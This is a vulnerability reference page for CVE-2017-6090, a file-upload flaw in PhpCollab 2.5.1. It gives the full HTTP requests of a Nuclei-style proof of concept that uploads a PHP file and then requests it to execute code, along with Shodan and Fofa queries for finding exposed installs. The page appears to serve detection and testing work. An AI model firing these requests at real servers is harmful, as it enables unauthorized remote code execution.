🔙 목록으로 돌아가기

CVE-2017-6090: PhpColl 2.5.1 Arbitrary File Upload

TitlePhpColl 2.5.1 Arbitrary File Upload
Authorpikpikcu
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can result in unauthorized remote code execution on the affected system.
RemediationApply the latest patch or upgrade to a newer version of PhpColl to mitigate this vulnerability.
CVSS Score8.8
EPSS Score0.86913
CVE IDCVE-2017-6090
CWE IDCWE-434
Shodan Queryhttp.title:"PhpCollab"http.title:"phpcollab"
Fofa Querytitle="phpcollab"
Tags cve cve2017 phpcollab rce fileupload edb intrusive vkev vuln

🔍 Vulnerability Description

PhpCollab 2.5.1 and earlier allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in logos_clients/ via clients/editclient.php.

🌐 HTTP Request

POST /clients/editclient.php?id=38FgORtJR75zwxrVxydeE6AzhPw&action=update HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Content-Length: 305
Content-Type: multipart/form-data; boundary=---------------------------154934846911423734231554128137
Accept-Encoding: gzip

-----------------------------154934846911423734231554128137

Content-Disposition: form-data; name="upload"; filename="38FgORtJR75zwxrVxydeE6AzhPw.php"

Content-Type: application/x-php



<?php echo md5("CVE-2017-6090");unlink(__FILE__);?>



-----------------------------154934846911423734231554128137--
GET /logos_clients/38FgORtJR75zwxrVxydeE6AzhPw.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-6090.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-6090.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A